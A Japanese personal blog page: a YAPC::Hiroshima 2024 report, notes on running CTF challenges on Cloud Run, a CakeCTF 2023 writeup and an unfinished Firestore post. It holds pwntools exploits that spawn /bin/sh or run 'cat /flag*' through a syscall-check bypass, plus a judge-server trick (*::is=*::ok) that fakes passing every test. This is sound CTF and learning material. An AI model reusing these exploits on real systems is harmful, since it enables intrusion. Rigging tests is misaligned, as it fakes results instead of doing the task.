YAPC::Hiroshima 2024に参加しました

YAPC::KyotoぶりのYAPCということでYAPC::Hiroshima 2024に参加してきました。お久しぶりの参加者の方々、運営していただいたスタッフの方々共々ありがとうございました。

印象に残ったトーク

  • 2024年冬のPerl
    • 5.40ではTest2::Suiteがコア入りということを聞いて、Test2にお世話になっていた身*1としてはめでたいという気持ちになりました
    • CPAN Security Groupまわりの話は追えていなかったので発表で知って、興味もあり何か貢献できるといいなと思いつつまずは周辺をウォッチしていこうと思います
  • Blogを作り、育み、慈しむ - Blog Hacks 2024
    • 自分は発信のハードルが年々上がっていて(自分の中で)、ブログもほぼ書かなくなってしまったなあというところで何か忘れている気持ちがあったと思い出させてくれる発表でした。家としてのブログを作りたい……
    • 発表で触れられていたIndieWebの考え方、素敵ですね
  • 非同期な開発体制を支えるドキュメント文化
    • 懇親会にて、発表者のこんぼいさんに発表で触れていたConfluenceの別の使い方として「しっかりとしたドキュメントとは言えないけどちょっとしたやってみた記事とか、知見の共有みたいなのってどう管理してますか(自分はConfluenceのブログ機能を使っているのだけど気に入っていない)」とかを聞いたりできて嬉しかったです(ありがとうございました!)
  • rakulangで実装する! RubyVM
    • Rakuの話があってよかった、これぞYAPC!
    • そういえば拙作のJSON::Hjson*2はzefに移行してなかったなあと思い出して、せっかくなので帰ってきて上げました。YAPC駆動とも言えます

Perlbatross

KAYACさんのほうでPerlコードゴルフをできるPerlbatrossというサイトがYAPC中の期間限定で公開されていました。 会場の椅子にチラシが貼られていて、確実に目に入る位置にあって気になって遊んでいたのですが、終わり際、ちょうど隣に座っていたsago35さん(かなり縮められていてその時点では1位だった方)と話すきっかけにもなってよかったです。

最初はコードゴルフとして縮めていたのですが、ふとPerlのコードを実行してくれるサーバのソースコードを覗きにいったときに(warn `tar czf - lib | base64`とかすると中身が持ってこれる)、何やらチートできそうな構造になっていることに気がつきました。実装としては、TAP::Harnessを経由して/var/run/judge_local/test.tを実行する、このファイルの中でevalしながらCapture::Tinyでstdoutとstderrを拾って逐次テストを動かすということをしています。

色々と悩んだ結果*3、テストを実行する側のコードを変更してまえばどうにかなることに気がつきました。よって最終的には以下の11バイトのコードですべてのテストが無理矢理通るようになりました。

*::is=*::ok

このコード自体はTest2::V0のisで比較している処理をokに書き換えていて、つまりは元のisの第一引数はfaslyな値ではないので通ります。……とズルをしてしまってすみません(全Holeこれで通るはずですが、さすがに全部これで埋めるのは面白くはないのでHole 1だけ勝手に試させてもらいました)。

ちなみにちゃんとしたゴルフをしたときのHole 1のコードはこんなかんじでした。真っ当にゴルフをして全然これ以上に縮めている人がいました。難しい……

binmode STDIN,utf8;while(<>){chomp;$i=@a=();$a[$i++%2].=$&while/\X/ug;print"@a$/"}

この手のイベント用の遊べる何かというのは準備が大変だったりしそうですが、自分はかなり好きです。提供ありがとうございました&&来年も期待しております🙏 > KAYACさん


以前はYAPCトーク応募して登壇していたのですが、気がついたら最後の登壇は2019年のYAPCでした。次のYAPCでは気持ちの上ではPerlネタを発表したいのですが、仕事ではPerlを書いていないのです……。とはいえあの頃の気持ちを思い出させてくれる、そんなYAPCでした。来年こそという気持ちをこめて。

*1:以前には https://speakerdeck.com/akiym/xin-shi-dai-falsetesutohuremuwakutest2 という発表や https://gihyo.jp/dev/serial/01/perl-hackers-hub/005101 を書かせてもらっていました

*2:Hjsonをgrammerで実装するという半分実験的ネタモジュールなのですが、地味にこれを作っていたお陰でJSON::Fastのバグを見つけたりできて便利でした

*3:最初はCapture::Tinyを外してTAPの形式をstdoutを出力させられないかというのを考えましたが一見難しい気はしています。あとはENDブロックに置くとstdoutに書き出せるな(TAP的にはinvalidになってしまってだめ)とかexitするとテストも全部終わらせられる(テストが1個もないケースはfail扱いになるのでだめ)とか。

CTF問題をCloud Runで動かす - gVisorとio_uring

以前にakictfという常設CTFを公開していたのですが、閉じることになったきっかけはメンテナンスが面倒になったからでした。当時は2013年、Dockerも出始めた頃で当然使っておらず、LXC上で問題を管理していました。さくらのVPS上で動かしていて(後にさくらのクラウドに移行)、問題も手作業でデプロイしていた、素朴な時代でした。

10年前だったからよかったものの、今ではどうでしょう。 コンテナイメージをそのままデプロイできる、アクセスがあったときだけコンテナを動かしていて欲しい、スケールしやすい、メンテナンスもほぼ不要。それくらい簡単なものが欲しい、そんなものがどこかにないでしょうか。

Cloud Run

cloud.google.com

そこでCloud Runです。コンテナイメージがあればとにかく動き、ある程度のスケールも勝手にやってくれる、便利なサービスです。動かすアプリケーションがHTTPで通信するのであればすぐさま使えます。

Cloud Runにデプロイする際に注意すべきポイントとしては、アプリケーション上で任意コードを実行できるのであれば、Cloud Runの最大同時リクエスト数は1にする必要があることです。そうしないと、設定上書き込みができるファイルを削除されたり、プロセス自体を上書きしてしまうことで動作を変えたりと他の参加者への妨害ができてしまいます。

Speedrun CTF

2023/12/5にオフラインイベントとして、Flatt Security Speedrun CTF #2というCTFを開催し、その中ではCloud Runに問題をデプロイする形で提供しました。

github.com

#1と比較して難易度を下げての開催ではあったのですが、80分の競技中には全完者はおらず、そのひとつの原因にある問題に想定してなかったトラブルが発生したということがありました。

問題4: semgrep

4問目のsemgrepは、入力されたJavaScriptのコードをsemgrepの独自ルール(例えば、evalやrequireなどが使えないといったもの)の上で検証し、その上ですべてのルールに通るものを実行できるという問題でした。 想定解は以下にあるように、最終的にsemgrepでの検証時と実行時のコードでズレを発生させることで、semgrepでは正しくJavaScriptとしてパースできないが実行時には動くといったコードにすることでルール自体を無視できるというものです。*1

ここで発生したトラブルというのは、競技中に参加者からローカルでは動いたが、リモートでは503を返して動かない解法があると問い合わせがあったというものでした。503といえば、初手でサーバの負荷を疑うところですが、ひとまずメモリサイズを大きくしてみても状況は変わりません。 Cloud Run のトラブルシューティング  |  Cloud Run のドキュメント  |  Google Cloud には、メモリ不足やアプリケーション側のリクエストのタイムアウト、単にリクエスト数を捌けないなどの可能性があると書かれています。 なぜかレスポンスを返せずに打ち切られているようでしたが、競技中はその原因がわからず、想定解は変わらずリモートに対しても動いており、参加者からも別の方法で解けたという報告があったため対応できず、そのままとなりました。

競技終了後に公開された参加者のwriteupでは、以下のコードがリモート上で動かないと書かれていました。

nanimokangaeteinai.hateblo.jp

(globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).text()

これはawait Bun.file('/flag').text()相当のコードですが、これだけをそのままCloud Run上で動かしてみると503を返します。 想定解ではBun.spawnSyncを使ってcat /flagのコマンドを実行する形にしていたことからCloud Run上でも動いていたのですが、ファイルをシンプルに読み出すだけで何が変わるのでしょうか。

Cloud Run gen1の制約

Cloud Runの設定項目のひとつに実行環境というものがあり、gen1とgen2を選択することができます。 gen1では コンテナ ランタイムの契約  |  Cloud Run のドキュメント  |  Google Cloud にあるように、gVisor上で動くため一部のシステムコールは使えなかったり、部分的に実装されていないものがあります。gen2ではそのような制約はありません。

多くのウェブアプリケーションでは、gen1を選択してもgVisorのシステムコールの制限に困ることはほぼないといってよいでしょう。 ただ、 Linux/amd64 - gVisorシステムコールがfull supportだったからといって、細かな挙動は異なることに注意する必要があります。 例えば、実行ファイルに対して与えるsetuid bitはサポートされていません。また、execveを実行する際には実行ファイルにはexecuteパーミッションのみが与えられていた場合でも通常は動きますが、gVisor上では当然正しく動きません。

こういったことは想像できるので、CTFの問題を動かす際にはgen2を選択するのがよいはずです。 ただ、gen1では最小メモリは128MiBですが、gen2では512MiBなので、gen1を使ってメモリを抑えられるなら若干安く済ませられるメリットがあり、問題のデプロイ時にはgen1を選択していたのがこれが悪さをしていました。

BunとgVisor

まずは503を返すであろう、何かしらコンテナが停止してしまう最小ケースを作ってみます。通常はawait Bun.file('/etc/passwd').text()というコードを実行しても問題なくファイルを読み出すことができます。

% docker run --rm -ti oven/bun:1.0.14-slim bun repl
Welcome to Bun v1.0.14
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
'root:x:0:0:root:/root:/bin/bash\n' +
...

次に Installation - gVisor よりgVisorをインストールした上で、コンテナランタイムにrunscを指定して動かしてみます。

% docker run --rm -ti --runtime=runsc oven/bun:1.0.14-slim bun repl
Welcome to Bun v1.0.14
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
(ここでコンテナごと停止)

runscを指定した場合は、実行できずコンテナが停止しました。 Debugging - gVisor を見るとログを吐き出せるようなので、設定すると以下のログでエラーになっていることがわかります。

I1210 12:46:59.766212    2410 strace.go:564] [   9:  33] bun E io_uring_setup(0x100, 0x6c45b65b9d18)
I1210 12:46:59.766224    2410 strace.go:602] [   9:  33] bun X io_uring_setup(0x100, 0x6c45b65b9d18) = 0 (0x0) errno=38 (invalid system call number) (1.125µs)

そう、io_uringです。このケースでは内部でio_uring_setupのシステムコールが呼ばれることから、コンテナが停止していました。

Linux/amd64 - gVisor をみるとio_uring_setupはpartial supportとされていますが、以下のコードを見るとそもそもオプションで明示的に有効にしていないとio_uringは使えないようになっていることから、そもそもCloud Run gen1のgVisor上ではio_uringが使えないということになります。*2

github.com

io_uring

近年のio_uringの扱いとしては、パフォーマンス上ではメリットがあるものの、kernel exploitに繋げられるセキュリティ上の問題がいくつも報告されており、以下のGoogleが実施したkCTFの結果としてはexploitの60%ほどがio_uringに関する脆弱性を利用したものであったことから、io_uring自体を無効にする流れとなってきているようです。

security.googleblog.com

また、次期Dockerのリリースでもデフォルトのseccomp profileでio_uringのステムコールはブロックされるようになっています。

ちなみに2023/12/10時点ではまだリリースされていませんが、 最近になって Rewrite IO for Bun.file() by Jarred-Sumner · Pull Request #7470 · oven-sh/bun · GitHub でio_uringが使われないように書き直されていました。 イメージにoven/bun:canary-slimを指定してrunscで動かすと落ちません。なんとタイミングの悪いこと……

% docker run --rm -ti --runtime=runsc oven/bun:canary-slim bun repl
Welcome to Bun v1.0.16
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
'root:x:0:0:root:/root:/bin/bash\n' +
...

まとめ

  • Cloud Run上でCTF問題をデプロイする場合は必ずgen2を使う
  • gVisor上ではio_uringは使えない
  • 次期Bunはio_uringを使わなくなる
  • 次期Dockerでもデフォルトのseccomp profileではio_uringが使えなくなる

ちょうど様々が重なった結果引き起こされた悲劇、ということでここに供養します。よい作問ライフを。

(この記事は CTF Advent Calendar 2023 - Adventar の9日目です)

*1:speedrunではあるのでよくあるjs sandbox問でのテクニックで抜け出す、としてもよいかと思いルール自体は雑に作っていました

*2:runtimeArgsに--iouringを指定するとio_uring_setupは通るようになるのですが、その後にまた別の理由で落ちます。深追いはしないでおきます……

CakeCTF 2023 writeup

2023/4/22に行なわれたRicerca CTF 2023にHackingForSushiで参加して、24位でした。

一人チームだし時間もあまりなかったのでrev問+変そうなやつ縛りで解きました。丁度よい難易度で解いていて楽しかったです。

解いた問題

nande

微妙に違う気がしつつも、とりあえず途中でflagが出たので適当に済ませています。

answer = [0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00]


in_ = [0] * 0x100
out_ = answer
for rnd in range(0x1234):
    in_[0xff] = out_[0xff] ^ 1
    for i in range(0xff-1, -1, -1):
        in_[i] = out_[i] ^ out_[i+1]
    out_ = in_

    bits = ''
    for x in out_:
        bits += str(x)
    res = int(bits[::-1], 2).to_bytes(32, 'little')
    if b'CakeCTF' in res:
        print(res)

Cake Puzzle

左上が空白マスの15パズル。すぐに動かせそうなソルバは落ちてなさそうだったので手で解く用のコードを書きました。配列の要素を入れ替えるときの操作を書くのが面倒そうにも見えますが、GitHub Copilotが埋めてくれました。ありがたい。

import curses

M = [0x445856DB, 0x4C230304, 0x0022449F, 0x671A96B7, 0x6C5644F7, 0x7FF46287, 0x6EE9C829, 0x5CDA2E72, 0x00000000, 0x698E88C9, 0x33E65A4F, 0x50CC5C54, 0x1349831A, 0x53C88F74, 0x25858AB9, 0x72F976D8]

numbers = {}
for i, x in enumerate(sorted(M)):
    numbers[x] = i

x = 0
y = 2
moves = []
screen = curses.initscr()


def print_map():
    for i, x in enumerate(M):
        screen.addstr('%2d ' % numbers[x])
        if i > 0 and (i + 1) % 4 == 0:
            screen.addstr('\n')
    screen.refresh()


def move():
    global x, y
    c = screen.getch()
    screen.erase()
    if c == ord('k'):
        if y <= 0:
            return False

        [M[4*y+x], M[4*(y-1)+x]] = [M[4*(y-1)+x], M[4*y+x]]
        y -= 1
        moves.append('U')
        return True
    elif c == ord('j'):
        if y >= 3:
            return False

        [M[4*y+x], M[4*(y+1)+x]] = [M[4*(y+1)+x], M[4*y+x]]
        y += 1
        moves.append('D')
        return True
    elif c == ord('h'):
        if x <= 0:
            return False

        [M[4*y+x], M[4*y+x-1]] = [M[4*y+x-1], M[4*y+x]]
        x -= 1
        moves.append('L')
        return True
    elif c == ord('l'):
        if x >= 3:
            return False

        [M[4*y+x], M[4*y+x+1]] = [M[4*y+x+1], M[4*y+x]]
        x += 1
        moves.append('R')
        return True

    return False


while True:
    if M == sorted(M):
        break

    print_map()
    move()

curses.endwin()
print(''.join(moves))

最終的な手で出した答え:

RRLUULDRRULDRULDLURLDDRLDRULDRLURDURDLURRDLURULLDDRULUURDLURDLRDLLUURLDRLUDDRRUULLDRRLLDRUULDDDRUUDDLURULDDRULURLDRLURLDURDLURDULDDRUUULRRRDLLDRRULURDULLDDRRULDURULLDDRULDRUULDDRULDRLLURRRLULLDRRULLDRRULDLURLDRULDRRULDDRUULDLDRRULURLLDRLURRRLLDRLLURLDRRULDLURDRRULLDRRULLL

unicomp

first bloodでした。syscall numberがチェックされるのは\x0f\x05の命令のみなので、cs syscallのようなCS prefixをつけた命令を使うことで任意のsyscallを実行できるようになります。ただし、syscall自体はpythonlibc.syscall経由で呼ばれるのでメモリマップ自体は別で、よくあるスタック上に文字列を置いて/bin/shを実行するようなシェルコードはそのままは動きません。mmapでメモリを確保しておいて、そこにreadで/bin/sh\0を書き込んでおき、execveを実行するようにしました。

import binascii

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10001'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

sc = asm('''
    mov rdi, 0x10000000
    mov rsi, 0x10000
    mov rdx, 7
    mov r10, 0x22
    mov r8, -1
    mov r9, 0
    mov rax, 0x09 # mmap
    cs syscall
    mov rdi, 0
    mov rsi, 0x10000000
    mov rdx, 0x1000
    mov rax, 0
    cs syscall
    xor rax,rax
    push rax
    pop rsi
    push rax
    pop rdx
    mov rdi, 0x10000000
    mov al,0x3b
    cs syscall
''')
print(disasm(sc))
with open('sc', 'wb') as f:
    f.write(binascii.hexlify(sc))
with open('sc.bin', 'wb') as f:
    f.write(sc)

s = remote(host, port)
s.recvuntil(b'shellcode: ')
s.send(binascii.hexlify(sc) + b'\n')

time.sleep(0.1)
s.send('/bin/sh\0')

s.interactive('')

cranelift

toy languageは文字列を渡すことはできなさそうなので(たぶん)、方針としてはunicompの解き方と似たように、mmapしてそれに対してmemsetで1文字ずつ書き込み、systemを実行するようにしました。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10000'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

s = remote(host, port)

s.recvuntil(b'\n')

memset = ''
cmd = 'cat /flag*\0'
for i, c in enumerate(cmd):
    memset += f'memset({65536+i}, {ord(c)}, 1)\n'

src = f'''
fn main() -> (r) {{
    mmap(65536, 100, 7, 34, 0, 0)
    {memset.strip()}
    system(65536)
}}
__EOF__
'''.lstrip()
print(src)
with open('src', 'w') as f:
    f.write(src)
s.send(src.encode())

s.interactive('')

imgchk

大まかな処理としては、480x20の画像を読み込んで、3バイトずつMD5の計算して結果を比較しています。適当に試していると、3バイトずつで取ってきているのは縦の20ピクセル分(8+8+4)ずつだと分かるのであとは画像に戻すだけです。

import hashlib

from PIL import Image

answer = [0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x507B, 0x508C, 0x509D, 0x50AE, 0x50BF, 0x50D0, 0x50E1, 0x50F2, 0x5103, 0x5004, 0x5004, 0x5004, 0x5004, 0x5114, 0x5125, 0x5136, 0x5147, 0x5158, 0x5169, 0x517A, 0x518B, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5202, 0x5202, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5004, 0x5004, 0x5202, 0x5202, 0x5213, 0x5213, 0x5213, 0x5213, 0x5213, 0x51F1, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5224, 0x5125, 0x5235, 0x5246, 0x5257, 0x5268, 0x5004, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x5466, 0x5477, 0x5488, 0x5499, 0x5499, 0x5488, 0x54AA, 0x54BB, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x5565, 0x5576, 0x5587, 0x5598, 0x55A9, 0x55BA, 0x55CB, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x55DC, 0x52F0, 0x518B, 0x518B, 0x52F0, 0x55DC, 0x55ED, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x55FE, 0x560F, 0x5620, 0x5631, 0x5642, 0x5653, 0x5488, 0x51AD, 0x519C, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x5664, 0x5675, 0x5521, 0x5686, 0x5697, 0x56A8, 0x56B9, 0x56CA, 0x56DB, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x5004, 0x56EC, 0x56EC, 0x56FD, 0x5202, 0x5202, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5004, 0x5268, 0x570E, 0x571F, 0x5730, 0x5741, 0x5224, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004]

hash = {}
src = open('imgchk', 'rb').read()
for i in range(0, 0x5752-0x5004, 17):
    addr = 0x5004+i
    hash[addr] = src[addr:addr+16]

def bruteforce():
    hash_table = {}
    for i in range(0xff+1):
        for j in range(0xff+1):
            for k in range(0xf+1):
                h = hashlib.md5()
                h.update(bytes([i, j, k]))
                hash_table[h.digest()] = [i, j, k]
    result = {}
    for h in hash.values():
        result[h] = hash_table[h]
    return result

hash_to_bytes = bruteforce()

im = Image.new('1', (480, 20), )

i = 0
for a in answer:
    for k, b in enumerate(hash_to_bytes[hash[a]]):
        for j in range(8 if k < 2 else 4):
            x = i // 20
            y = i % 20
            if x == 480:
                break
            im.putpixel((x, y), (b >> j) & 1)
            i += 1

im.save('flag.png')

出力される画像:

Gaming VM

"q3vm disassembler"で検索すると https://github.com/brugal/q3vm があったのでこれで読みます。一部のsyscallはunknown functionと表示されますが、これはオリジナル版にはなく(?)、バイナリを読むとmemsetやreadする実装に対応するのが分かります。

とりあえずgdbで動かしながら適当なVMの命令に相当するところでbreakしつつ値を見てみるのを試していたところ、goto_OP_EQでほぼflagの比較がされていそうなことに気づきました。ブルートフォースするスクリプトを書きつつ、途中で調整が必要なところは面倒になってgdbを動かしつつ手で求めました。

import gdb

e = lambda c: gdb.execute(c, to_string=True)
p = lambda x: gdb.parse_and_eval(x)

e('set pagination off')
e('file ./q3vm')
e('b *0x0000555555557364') # goto_OP_EQ

flag = [chr(0x20+i) for i in range(33)]
flag = list('CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}') # 手で埋めていく

def write_flag():
    with open('in', 'w') as f:
        f.write('CakeCTF{' + ''.join(flag).ljust(33, '\0') + '}\n')

def brute():
    write_flag()
    e('r flag.qvm < in')
    e('c 0x2a')
    e('c 2')

    while True:
        ecx = p('$ecx')
        eax = p('$eax')
        print(ecx, eax)
        if ecx != eax:
            idx = flag.index(chr(eax ^ 7))
            print(idx)
            flag[idx] = chr(ecx ^ 7)
            print(''.join(flag))
            write_flag()
            return
        e('c')

for i in range(33):
    brute()

Word Tower

適当にメモリ上を検索すると、出題される単語の一覧が見えるのでそこからソルバが書けます。ステージ2まではソルバと手で解けますが、ステージ3は制限時間が30秒なのでさすがにそのままでは無理です。

from typing import Optional

# having_letters, word_n = 'bbroeaitxfgitr', 3
# having_letters, word_n = 'kafhaaaleoercpspsghr', 4
having_letters, word_n = 'earrabarkwtpdiaapdkoucsovhst', 5
having_letters = having_letters.lower()

words = open('words').read().splitlines()

search_candidates_memo = {}

def search_candidates(having_letters: str):
    if having_letters in search_candidates_memo:
        return search_candidates_memo[having_letters]

    candidates = []
    for word in words:
        word_letters = list(word)
        having_letters_list = list(having_letters)
        ok = True
        for wl in word_letters:
            if wl not in having_letters_list:
                ok = False
                break
            del having_letters_list[having_letters_list.index(wl)]
        if ok:
            candidates.append(word)

    search_candidates_memo[having_letters] = candidates

    return candidates

def dfs(having_letters: str, word_n: int, result: Optional[list[str]] = None):
    if result is None:
        result = []

    if word_n == 0 and len(having_letters) == 0:
        return result

    candidates = search_candidates(having_letters)
    for candidate in candidates:
        having_letters_list = list(having_letters)
        for cl in candidate:
            del having_letters_list[having_letters_list.index(cl)]
        result = dfs(''.join(having_letters_list), word_n - 1)
        if result is not None:
            return result + [candidate]

    return None

print(dfs(having_letters, word_n))

ステージごとの制限時間を書き換えられるならステージ3でも手で解けるはず、という気持ちでCheat Engineを使ってメモリ上にその値がないか検索してみます。制限時間はステージ1では180秒、ステージ2では120秒なので、その値のように変化するメモリがあればあやしいはずです。ちょうどそのようなメモリがあったので、ステージ3のスタート前に値を書き換えたところ、無事制限時間を延ばすことができました(値が大きすぎるとチート検知されます)。あとはソルバの結果を手で入力して終わりです。

実際に書き換えているところ。これくらいだとチート検知される。

Firestoreからエクスポートしたデータがエミュレータにインポートできなくなった問題に対処する

Firestoreにはエミュレータが用意されていて、手元の環境でも似たようなものが動かせるようになっています。開発するにはこれは必須といったところで、例えば開発環境のデータを手元の環境にインポートして使うということもよくしています。

エミュレータにインポートする方法は簡単で、まずは以下のようにgcloudコマンドでデータをエクスポートし、gsutilコマンドでエクスポート先のディレクトリを保存します。

gcloud firestore export gs://<bucket_name>
gsutil -m cp -r "gs://<bucket_name>/<export_dir>" .

あとはfirebaseコマンドでエミュレータを起動する際に--importオプションでエスクポートしたディレクトリを指定すればそのまま動かせます。

firebase --project demo- --only firestore emulators:start --import <exported_dir>

ただ、ある日から(2023/10/21時点では直っていない)インポートしようとすると以下のエラーメッセージでエミュレータが起動できなくなってしまいました。

Oct 21, 2023 8:49:22 PM com.google.cloud.datastore.emulator.firestore.CloudFirestore main
SEVERE: Exiting due to unexpected exception.
com.google.cloud.datastore.core.exception.DatastoreException: Message missing required fields: kind_info[0].kind
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.parseBackupFile(ExportImportUtil.java:378)
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.fetchEntities(ExportImportUtil.java:88)
at com.google.cloud.datastore.emulator.firestore.CloudFirestore.init(CloudFirestore.java:181)
